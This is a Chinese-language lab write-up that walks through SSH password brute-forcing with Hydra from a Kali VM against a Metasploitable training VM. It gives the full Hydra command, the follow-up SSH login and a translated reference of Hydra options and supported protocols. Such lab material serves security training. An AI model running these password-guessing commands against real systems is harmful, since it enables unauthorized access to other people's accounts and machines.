一、实验题目:
ssh爆破
二、实验内容:
使用Hydra工具和口令字典进行ssh爆破
三、环境准备:
(1)kali虚拟机
(2)metasploitable虚拟机
四、实验步骤:
(1)在kali中创建密码字典(存放位置可自定义):
命令:touch /home/kali/Desktop/password.txt
(2)编辑密码字典,存入数据:
命令:vim /home/kali/Desktop/password.txt
(3)查看待爆破主机IP(使用靶机Metasploitable):
(4)对特定用户名进行爆破:
命令:hydra -l msfadmin -P /home/kali/Desktop/password.txt ssh://192.168.32.129 -t 6 -V -f
(5)尝试使用爆破出来的密码登陆系统:
命令:ssh msfadmin@192.168.32.129
(6)成功登录靶机:
补充:
hydra介绍:
(1)Hydra
是著名黑客组织
thc
的一款开源的暴力密码破解工具,可以暴力破解多种密码。包括FTP
、
HTTP
的 所有协议、SQL
类的所有协议、
SOCKS5
、
SSH
、
Telnet
等几乎所有类型的协议都可以爆破。
(2)这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典 是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。
(3)参数选项:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t
TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x
MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
通用:
hydra <
参数
> <IP
地址
> <
服务名
>
-R
继续从上一次进度接着破解。
-S
采用
SSL
链接。
-s PORT
可通过这个参数指定非默认端口。
-l LOGIN
指定破解的用户,对特定用户破解。
-L FILE
指定用户名字典。
-p PASS
小写,指定密码破解,少用,一般是采用密码字典。
-P FILE
大写,指定密码字典。
-e ns
可选选项,
n
:空密码试探,
s
:使用指定用户和密码试探。
-C FILE
使用冒号分割格式,例如
“
登录名
:
密码
”
来代替
-L/-P
参数。
-M FILE
指定目标列表文件一行一条。
-o FILE
指定结果输出文件。
-f
在使用
-M
参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS
同时运行的线程数,默认为
16
。
-w TIME
设置最大超时的时间,单位秒,默认是
30s
。
-v / -V
显示详细过程。
server
目标
ip
service
指定服务名,支持的服务和协议:
telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2
ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp
rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd
firebird ncp afp
等等。
OPT
可选项